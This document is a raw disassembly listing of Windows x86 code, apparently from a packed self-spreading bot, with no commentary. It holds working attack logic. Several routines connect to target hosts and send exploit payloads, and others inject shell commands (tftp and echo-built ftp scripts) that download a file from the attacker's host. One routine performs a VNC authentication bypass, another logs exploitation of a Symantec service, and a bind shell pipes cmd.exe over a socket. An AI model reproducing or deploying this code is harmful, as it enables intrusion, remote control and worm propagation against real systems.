mov [ebp+var_10], 2
push eax
call dword_4CBA24 ; inet_addr
mov [ebp+var_C], eax
mov ax, word_433298
push eax
call dword_4CB9E4 ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_4CBA64 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40E3CA
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4CB98C ; connect
cmp eax, 0FFFFFFFFh
jz loc_40E3CA
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_4CB9FC ; recv
mov edi, offset byte_429110
push edi
push edi
push [ebp+arg_0]
call sub_40AA06
pop ecx
mov esi, 190h
push eax
push offset aTftpISGetS ; "tftp -i %s get %s\r\n"
lea eax, [ebp+var_1A0]
push esi
push eax
call sub_41C360
add esp, 18h
push dword_4CB720
push [ebp+arg_0]
call sub_40AA06
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push esi
push eax
call sub_41C360
add esp, 14h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_4CBA34 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E3CA
push 1F4h
call dword_427080 ; Sleep
push edi
push offset dword_42A2F0
lea eax, [ebp+var_1A0]
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_4CBA34 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40E3CE
loc_40E3CA: ; CODE XREF: sub_40E292+51j
; sub_40E292+67j ...
xor al, al
jmp short loc_40E3EC
; ---------------------------------------------------------------------------
loc_40E3CE: ; CODE XREF: sub_40E292+136j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_4CB9FC ; recv
push ebx
call dword_4CBA7C ; closesocket
mov al, 1
loc_40E3EC: ; CODE XREF: sub_40E292+13Aj
pop edi
pop esi
pop ebx
leave
retn
sub_40E292 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E3F1 proc near ; CODE XREF: .packed:0040E946p
; .packed:0040E968p
var_89B4 = byte ptr -89B4h
var_894C = byte ptr -894Ch
var_68DC = byte ptr -68DCh
var_686C = byte ptr -686Ch
var_5DA8 = byte ptr -5DA8h
var_4804 = byte ptr -4804h
var_4803 = byte ptr -4803h
var_3770 = byte ptr -3770h
var_2CAC = byte ptr -2CACh
var_2CAB = byte ptr -2CABh
var_2CA8 = byte ptr -2CA8h
var_2C2C = byte ptr -2C2Ch
var_245C = byte ptr -245Ch
var_1FB1 = byte ptr -1FB1h
var_1CC4 = byte ptr -1CC4h
var_14E0 = byte ptr -14E0h
var_14D0 = byte ptr -14D0h
var_11AC = byte ptr -11ACh
var_11A8 = byte ptr -11A8h
var_119C = byte ptr -119Ch
var_F14 = byte ptr -0F14h
var_E74 = byte ptr -0E74h
var_768 = dword ptr -768h
var_758 = byte ptr -758h
var_744 = byte ptr -744h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_B4 = byte ptr -0B4h
var_B1 = byte ptr -0B1h
var_87 = byte ptr -87h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
var_3C = byte ptr -3Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B4h
call sub_41C500
mov eax, dword_433424
push ebx
mov [ebp+var_10], eax
mov eax, dword_433428
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+var_3C]
push offset loc_433418
push eax
call sub_41C266
add esp, 0Ch
xor ebx, ebx
xor esi, esi
lea eax, [ebp+var_103]
loc_40E430: ; CODE XREF: sub_40E3F1+4Ej
mov cl, [ebp+esi+var_3C]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, 28h
jl short loc_40E430
push 60h
lea eax, [ebp+var_B4]
push offset dword_432EA8
push eax
call sub_41CD20
lea eax, [ebp+var_3C]
push eax
call sub_41B9C0
shl eax, 1
push eax
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_84]
push eax
call sub_41CD20
add esp, 1Ch
lea eax, [ebp+var_3C]
push 9
push (offset aC_0+3)
push eax
call sub_41B9C0
pop ecx
lea eax, [ebp+eax*2+var_85]
push eax
call sub_41CD20
lea eax, [ebp+var_3C]
push eax
call sub_41B9C0
add al, 1Ah
push 1
shl al, 1
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_B1]
push eax
call sub_41CD20
lea eax, [ebp+var_3C]
push eax
call sub_41B9C0
shl al, 1
add al, 9
push 1
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_87]
push eax
call sub_41CD20
mov ax, word_433298
add esp, 2Ch
push eax
call dword_4CB9E4 ; htons
xor eax, 9999h
push 2
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push eax
push offset dword_432BA8
call sub_41CD20
add esp, 0Ch
cmp [ebp+arg_C0], ebx
jz loc_40E5ED
mov edi, 0DACh
lea eax, [ebp+var_1CC4]
push edi
push 90h
push eax
call sub_41BF70
mov eax, [ebp+arg_C0]
push 4
imul eax, 3Ch
lea eax, dword_4332D8[eax]
mov [ebp+var_14], eax
push eax
lea eax, [ebp+var_14E0]
push eax
call sub_41CD20
mov esi, offset loc_432AF8
push esi
call sub_41B9C0
push eax
lea eax, [ebp+var_14D0]
push esi
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_11AC]
push offset loc_433410
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_11A8]
push [ebp+var_14]
push eax
call sub_41CD20
add esp, 40h
push esi
call sub_41B9C0
push eax
lea eax, [ebp+var_119C]
push esi
push eax
call sub_41CD20
add esp, 10h
xor esi, esi
lea eax, [ebp+var_4803]
loc_40E5A6: ; CODE XREF: sub_40E3F1+1C6j
mov cl, [ebp+esi+var_1CC4]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, edi
jl short loc_40E5A6
mov esi, 1C52h
lea eax, [ebp+var_89B4]
push esi
push 31h
push eax
mov [ebp+var_2CAC], bl
mov [ebp+var_2CAB], bl
call sub_41BF70
push esi
lea eax, [ebp+var_68DC]
push 31h
push eax
call sub_41BF70
add esp, 18h
jmp short loc_40E644
; ---------------------------------------------------------------------------
loc_40E5ED: ; CODE XREF: sub_40E3F1+118j
push 7D0h
lea eax, [ebp+var_F14]
push 90h
push eax
call sub_41BF70
mov esi, offset loc_432AF8
push esi
call sub_41B9C0
push eax
lea eax, [ebp+var_E74]
push esi
push eax
call sub_41CD20
lea eax, [ebp+var_10]
push eax
call sub_41B9C0
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_758]
push eax
call sub_41CD20
mov eax, dword_4332D8
add esp, 2Ch
mov [ebp+var_768], eax
loc_40E644: ; CODE XREF: sub_40E3F1+1FAj
push 0E29h
lea eax, [ebp+var_2CA8]
push 31h
push eax
call sub_41BF70
movsx eax, [ebp+var_1]
mov edi, [ebp+arg_BC]
add esp, 0Ch
add eax, 4
push ebx
push eax
lea eax, [ebp+var_B4]
push eax
push edi
call dword_4CBA34 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40E683
loc_40E67C: ; CODE XREF: sub_40E3F1+2B9j
; sub_40E3F1+2E0j ...
xor al, al
jmp loc_40E82B
; ---------------------------------------------------------------------------
loc_40E683: ; CODE XREF: sub_40E3F1+289j
mov esi, 640h
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9FC ; recv
push ebx
push 68h
push offset dword_432F0C
push edi
call dword_4CBA34 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E67C
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9FC ; recv
push ebx
push 0A0h
push offset dword_432F78
push edi
call dword_4CBA34 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E67C
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9FC ; recv
cmp [ebp+arg_C0], ebx
jz loc_40E799
push 68h
lea eax, [ebp+var_89B4]
push offset dword_433130
push eax
call sub_41CD20
lea eax, [ebp+var_4804]
push 1B5Ah
push eax
lea eax, [ebp+var_894C]
push eax
call sub_41CD20
push 70h
lea eax, [ebp+var_68DC]
push offset dword_43319C
push eax
call sub_41CD20
lea eax, [ebp+var_3770]
push 0A5Eh
push eax
lea eax, [ebp+var_686C]
push eax
call sub_41CD20
push 84h
lea eax, [ebp+var_5DA8]
push offset dword_433210
push eax
call sub_41CD20
add esp, 3Ch
lea eax, [ebp+var_89B4]
push ebx
push 10FCh
push eax
push edi
call dword_4CBA34 ; send
cmp eax, 0FFFFFFFFh
jz loc_40E67C
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9FC ; recv
push ebx
push 0FDCh
lea eax, [ebp+var_68DC]
jmp short loc_40E7EF
; ---------------------------------------------------------------------------
loc_40E799: ; CODE XREF: sub_40E3F1+2F8j
push 7Ch
lea eax, [ebp+var_2CA8]
push offset dword_43301C
push eax
call sub_41CD20
lea eax, [ebp+var_F14]
push 7D0h
push eax
lea eax, [ebp+var_2C2C]
push eax
call sub_41CD20
push 90h
lea eax, [ebp+var_245C]
push offset off_43309C
push eax
call sub_41CD20
add esp, 24h
mov [ebp+var_1FB1], bl
lea eax, [ebp+var_2CA8]
push ebx
push 0CF8h
loc_40E7EF: ; CODE XREF: sub_40E3F1+3A6j
push eax
push edi
call dword_4CBA34 ; send
cmp eax, 0FFFFFFFFh
jz loc_40E67C
push 12Ch
call dword_427080 ; Sleep
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E292
add esp, 0BCh
test al, al
setnz al
loc_40E82B: ; CODE XREF: sub_40E3F1+28Dj
pop edi
pop esi
pop ebx
leave
retn
sub_40E3F1 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 854h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp-14h]
push edi
push eax
mov [ebp-4], edi
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+0Ch]
mov word ptr [ebp-14h], 2
push eax
call dword_4CBA24 ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-10h], eax
call dword_4CB9E4 ; htons
push 6
push 1
push 2
mov [ebp-12h], ax
call dword_4CBA64 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40E929
lea eax, [ebp-14h]
push 10h
push eax
push ebx
call dword_4CB98C ; connect
cmp eax, 0FFFFFFFFh
jz loc_40E929
push edi
push 89h
push offset dword_432C90
push ebx
call dword_4CBA34 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E929
mov esi, 640h
push edi
lea eax, [ebp-854h]
push esi
push eax
push ebx
call dword_4CB9FC ; recv
push edi
push 0A8h
push offset dword_432D1C
push ebx
call dword_4CBA34 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E929
push edi
lea eax, [ebp-854h]
push esi
push eax
push ebx
call dword_4CB9FC ; recv
push edi
push 0DEh
push offset dword_432DC8
push ebx
call dword_4CBA34 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E929
push edi
lea eax, [ebp-854h]
push esi
push eax
push ebx
call dword_4CB9FC ; recv
movsx eax, byte ptr [ebp-810h]
sub eax, 30h
jz short loc_40E933
dec eax
jz short loc_40E930
loc_40E929: ; CODE XREF: .packed:0040E884j
; .packed:0040E89Aj ...
xor eax, eax
jmp loc_40E9F6
; ---------------------------------------------------------------------------
loc_40E930: ; CODE XREF: .packed:0040E927j
push edi
jmp short loc_40E957
; ---------------------------------------------------------------------------
loc_40E933: ; CODE XREF: .packed:0040E924j
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E3F1
add esp, 0C4h
test al, al
jnz short loc_40E977
push 1
loc_40E957: ; CODE XREF: .packed:0040E931j
push ebx
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E3F1
add esp, 0C4h
test al, al
jz short loc_40E97E
loc_40E977: ; CODE XREF: .packed:0040E953j
mov dword ptr [ebp-4], 1
loc_40E97E: ; CODE XREF: .packed:0040E975j
push ebx
call dword_4CBA7C ; closesocket
cmp dword ptr [ebp-4], 0
jz short loc_40E9F3
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
lea eax, [ebp-214h]
push 200h
push eax
call sub_41C360
push 0
lea eax, [ebp-214h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
lea eax, [ebp-214h]
push eax
call sub_415D38
mov eax, [ebp+0B0h]
add esp, 2Ch
shl eax, 6
inc dword_431808[eax]
lea eax, dword_431808[eax]
loc_40E9F3: ; CODE XREF: .packed:0040E989j
push 1
pop eax
loc_40E9F6: ; CODE XREF: .packed:0040E92Bj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E9FB proc near ; CODE XREF: sub_40EAE9+91p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_4271F0 ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call dword_4271F4 ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_427204 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40EAC9
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4271F8 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40EAC9
mov edi, 400h
push esi
mov esi, dword_4271FC
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset byte_429110
push eax
push eax
push dword_4CB720
push [ebp+arg_0]
call sub_40AA06
pop ecx
push eax
push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41C360
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_427208 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40EACD
loc_40EAC9: ; CODE XREF: sub_40E9FB+50j
; sub_40E9FB+62j
xor eax, eax
jmp short loc_40EAE4
; ---------------------------------------------------------------------------
loc_40EACD: ; CODE XREF: sub_40E9FB+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
call dword_427200 ; closesocket
push 1
pop eax
loc_40EAE4: ; CODE XREF: sub_40E9FB+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40E9FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EAE9 proc near ; CODE XREF: sub_40C3E8+1EAp
; DATA XREF: .packed:off_431804o
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+arg_4]
push edi
push eax
mov [ebp+var_10], 2
call dword_4CBA24 ; inet_addr
push [ebp+arg_A0]
mov [ebp+var_C], eax
call dword_4CB9E4 ; htons
push 6
push 1
push 2
mov [ebp+var_E], ax
call dword_427204 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40EB5B
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4271F8 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40EB3C
push esi
jmp short loc_40EB55
; ---------------------------------------------------------------------------
loc_40EB3C: ; CODE XREF: sub_40EAE9+4Ej
push 0
push 1213h
push offset dword_43342C
push esi
call dword_427208 ; send
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_40EB5F
loc_40EB55: ; CODE XREF: sub_40EAE9+51j
call dword_427200 ; closesocket
loc_40EB5B: ; CODE XREF: sub_40EAE9+3Cj
xor eax, eax
jmp short loc_40EBA1
; ---------------------------------------------------------------------------
loc_40EB5F: ; CODE XREF: sub_40EAE9+6Aj
call dword_427200 ; closesocket
push 216Bh
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E9FB
add esp, 0C0h
test eax, eax
jz short loc_40EB9E
mov eax, [ebp+arg_A8]
shl eax, 6
inc dword_431808[eax]
lea eax, dword_431808[eax]
loc_40EB9E: ; CODE XREF: sub_40EAE9+9Ej
push 1
pop eax
loc_40EBA1: ; CODE XREF: sub_40EAE9+74j
pop edi
pop esi
leave
retn
sub_40EAE9 endp
; =============== S U B R O U T I N E =======================================
sub_40EBA5 proc near ; CODE XREF: .packed:0040EC93p
; .packed:0040ECF5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
xor esi, esi
loc_40EBAD: ; CODE XREF: sub_40EBA5+2Dj
test edi, edi
jle short loc_40EBD8
mov eax, [esp+8+arg_4]
push 0
add eax, esi
push edi
push eax
push [esp+14h+arg_0]
call dword_4CB9FC ; recv
test eax, eax
jz short loc_40EBD4
cmp eax, 0FFFFFFFFh
jz short loc_40EBD4
sub edi, eax
add esi, eax
jmp short loc_40EBAD
; ---------------------------------------------------------------------------
loc_40EBD4: ; CODE XREF: sub_40EBA5+22j
; sub_40EBA5+27j
xor eax, eax
jmp short loc_40EBDB
; ---------------------------------------------------------------------------
loc_40EBD8: ; CODE XREF: sub_40EBA5+Aj
push 1
pop eax
loc_40EBDB: ; CODE XREF: sub_40EBA5+31j
pop edi
pop esi
retn
sub_40EBA5 endp
; =============== S U B R O U T I N E =======================================
sub_40EBDE proc near ; CODE XREF: .packed:0040ECDFp
; .packed:0040ED0Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_40EC1B
xor esi, esi
test edi, edi
jle short loc_40EC15
loc_40EBEE: ; CODE XREF: sub_40EBDE+35j
mov eax, edi
push 0
sub eax, esi
push eax
mov eax, [esp+10h+arg_4]
add eax, esi
push eax
push [esp+14h+arg_0]
call dword_4CBA34 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40EC1B
test eax, eax
jz short loc_40EC1B
add esi, eax
cmp esi, edi
jl short loc_40EBEE
loc_40EC15: ; CODE XREF: sub_40EBDE+Ej
push 1
pop eax
loc_40EC18: ; CODE XREF: sub_40EBDE+3Fj
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40EC1B: ; CODE XREF: sub_40EBDE+8j
; sub_40EBDE+2Bj ...
xor eax, eax
jmp short loc_40EC18
sub_40EBDE endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 24Ch
push ebx
mov ax, word_4346E4
push esi
push edi
push 0
push 1
push 2
mov [ebp-2], ax
pop esi
push esi
call dword_4CBA64 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_40EC4D
push eax
jmp short loc_40EC81
; ---------------------------------------------------------------------------
loc_40EC4D: ; CODE XREF: .packed:0040EC48j
lea eax, [ebp+0Ch]
push eax
call dword_4CBA24 ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-48h], eax
mov [ebp-4Ch], si
call dword_4CB9E4 ; htons
mov [ebp-4Ah], ax
lea eax, [ebp-4Ch]
push 10h
push eax
push ebx
call dword_4CB98C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40EC8C
push ebx
loc_40EC81: ; CODE XREF: .packed:0040EC4Bj
call dword_4CBA7C ; closesocket
jmp loc_40EE87
; ---------------------------------------------------------------------------
loc_40EC8C: ; CODE XREF: .packed:0040EC7Ej
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-20h]
and byte ptr [ebp-2Ch], 0
push eax
lea eax, [ebp-28h]
push eax
lea eax, [ebp-38h]
push offset aRfb03d_03d ; "RFB %03d.%03d\n"
push eax
call sub_41CCE3
add esp, 10h
cmp eax, esi
jnz loc_40EE80
cmp dword ptr [ebp-28h], 3
jz short loc_40ECD8
cmp dword ptr [ebp-20h], 8
jnz loc_40EE80
loc_40ECD8: ; CODE XREF: .packed:0040ECCCj
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40EBDE
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-3Ch]
push esi
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-2]
push 1
push eax
push ebx
call sub_40EBDE
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-24h]
push 4
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
mov eax, [ebp-24h]
mov edi, 0FF0000h
mov ecx, eax
mov edx, eax
and ecx, edi
mov esi, 0FF00h
shr edx, 10h
or ecx, edx
mov edx, eax
shl edx, 10h
and eax, esi
or edx, eax
shr ecx, 8
shl edx, 8
or ecx, edx
mov [ebp-24h], ecx
jnz loc_40EE80
push 1
push offset word_4CB89C
push ebx
call sub_40EBDE
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-1Ch]
push 18h
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
xor eax, eax
mov ecx, [ebp-8]
mov al, [ebp-1Bh]
mov edx, ecx
mov ah, [ebp-1Ch]
mov [ebp-1Ch], ax
xor eax, eax
mov al, [ebp-19h]
mov ah, [ebp-1Ah]
mov [ebp-1Ah], ax
xor eax, eax
mov al, [ebp-13h]
mov ah, [ebp-14h]
mov [ebp-14h], ax
xor eax, eax
mov al, [ebp-11h]
mov ah, [ebp-12h]
mov [ebp-12h], ax
xor eax, eax
mov al, [ebp-0Fh]
mov ah, [ebp-10h]
mov [ebp-10h], ax
mov eax, ecx
and eax, edi
shr edx, 10h
or eax, edx
mov edx, ecx
shl edx, 10h
and ecx, esi
or edx, ecx
shr eax, 8
shl edx, 8
or eax, edx
mov [ebp-8], eax
add eax, 2
push eax
call sub_41D9A5
mov edi, [ebp-8]
pop ecx
test edi, edi
mov esi, eax
jle short loc_40EE10
push edi
push esi
push ebx
call sub_40EBA5
add esp, 0Ch
loc_40EE10: ; CODE XREF: .packed:0040EE03j
and byte ptr [edi+esi], 0
lea eax, [ebp+0Ch]
push eax
push esi
push dword ptr [ebp-20h]
lea eax, [ebp-24Ch]
push dword ptr [ebp-28h]
push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
push 200h
push eax
call sub_41C360
push 0
lea eax, [ebp-24Ch]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
lea eax, [ebp-24Ch]
push eax
call sub_415D38
mov eax, [ebp+0B0h]
add esp, 34h
shl eax, 6
inc dword_431808[eax]
push ebx
lea eax, dword_431808[eax]
call dword_427200 ; closesocket
push 1
pop eax
jmp short loc_40EE89
; ---------------------------------------------------------------------------
loc_40EE80: ; CODE XREF: .packed:0040EC9Dj
; .packed:0040ECC2j ...
push ebx
call dword_427200 ; closesocket
loc_40EE87: ; CODE XREF: .packed:0040EC87j
xor eax, eax
loc_40EE89: ; CODE XREF: .packed:0040EE7Ej
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40EE8E proc near ; DATA XREF: sub_40EF1C+15Bo
var_404 = byte ptr -404h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_40EE97: ; CODE XREF: sub_40EE8E+25j
; sub_40EE8E+41j
push 0
lea eax, [ebp+var_404]
push 400h
push eax
push dword_4CE718
call dword_4CB9FC ; recv
test eax, eax
jle short loc_40EE97
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
lea eax, [ebp+var_404]
push eax
push dword_4CE714
call dword_4270F0 ; WriteFile
jmp short loc_40EE97
sub_40EE8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40EED1 proc near ; DATA XREF: sub_40EF1C+142o
var_404 = byte ptr -404h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_40EEDA: ; CODE XREF: sub_40EED1+2Fj
; sub_40EED1+49j
lea eax, [ebp+var_4]
and [ebp+var_4], 0
push 0
push eax
lea eax, [ebp+var_404]
push 400h
push eax
push dword_4CE708
call dword_4270EC ; ReadFile
cmp [ebp+var_4], 0
jle short loc_40EEDA
push 0
lea eax, [ebp+var_404]
push [ebp+var_4]
push eax
push dword_4CE718
call dword_4CBA34 ; send
jmp short loc_40EEDA
sub_40EED1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40EF1C proc near ; DATA XREF: sub_401ACD+2CCAo
var_11C = byte ptr -11Ch
var_98 = dword ptr -98h
var_7C = dword ptr -7Ch
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_38 = word ptr -38h
var_36 = word ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 28h
mov esi, eax
pop ecx
lea edi, [ebp+var_11C]
rep movsd
push 1
xor edi, edi
pop esi
mov [eax+98h], esi
push 10h
lea eax, [ebp+var_38]
push edi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_38], 2
push [ebp+var_98]
call dword_4CB9E4 ; htons
push 6
push esi
push 2
mov [ebp+var_36], ax
call dword_4CBA64 ; socket
mov [ebp+arg_0], eax
lea eax, [ebp+var_38]
push 10h
push eax
push [ebp+arg_0]
call dword_4CBA10 ; bind
push 5
push [ebp+arg_0]
call dword_4CBA0C ; listen
mov ebx, dword_427108
mov esi, dword_427070
loc_40EF9C: ; CODE XREF: sub_40EF1C+1CBj
push edi
push edi
push [ebp+arg_0]
call dword_4CBA78 ; accept
mov dword_4CE718, eax
lea eax, [ebp+var_C]
push edi
push eax
push offset dword_4CE714
push offset dword_4CE710
mov [ebp+var_C], 0Ch
mov [ebp+var_4], 1
mov [ebp+var_8], edi
call ebx ; CreatePipe
lea eax, [ebp+var_C]
push edi
push eax
push offset dword_4CE70C
push offset dword_4CE708
call ebx ; CreatePipe
push 44h
lea eax, [ebp+var_7C]
push edi
push eax
call sub_41BF70
mov eax, dword_4CE710
add esp, 0Ch
mov [ebp+var_44], eax
mov eax, dword_4CE70C
mov [ebp+var_40], eax
push edi
push 1
lea eax, [ebp+var_3C]
push 2
push eax
mov [ebp+var_7C], 44h
mov [ebp+var_50], 101h
mov [ebp+var_4C], di
call dword_427104 ; GetCurrentProcess
push eax
push dword_4CE70C
call dword_427104 ; GetCurrentProcess
push eax
call dword_427100 ; DuplicateHandle
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_7C]
push eax
push edi
push edi
push 4000090h
lea eax, [ebp+var_C]
push 1
push eax
lea eax, [ebp+var_C]
push eax
push offset dword_4346E8
push edi
call dword_427074 ; CreateProcessA
lea eax, [ebp+var_18]
push eax
push edi
push edi
push offset sub_40EED1
lea eax, [ebp+var_C]
push edi
push eax
call dword_427084 ; CreateThread
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push edi
push edi
push offset sub_40EE8E
lea eax, [ebp+var_C]
push edi
push eax
call dword_427084 ; CreateThread
push 0FFFFFFFFh
mov [ebp+var_10], eax
push [ebp+var_28]
call dword_4270A8 ; WaitForSingleObject
push edi
push [ebp+var_10]
call dword_4270B4 ; TerminateThread
push edi
push [ebp+var_14]
call dword_4270B4 ; TerminateThread
push [ebp+var_10]
call esi ; CloseHandle
push [ebp+var_14]
call esi ; CloseHandle
push edi
push [ebp+var_28]
call dword_4270FC ; TerminateProcess
push dword_4CE710
call esi ; CloseHandle
push dword_4CE714
call esi ; CloseHandle
push dword_4CE708
call esi ; CloseHandle
push dword_4CE70C
call esi ; CloseHandle
push [ebp+var_24]
call esi ; CloseHandle
push [ebp+var_28]
call esi ; CloseHandle
jmp loc_40EF9C
sub_40EF1C endp
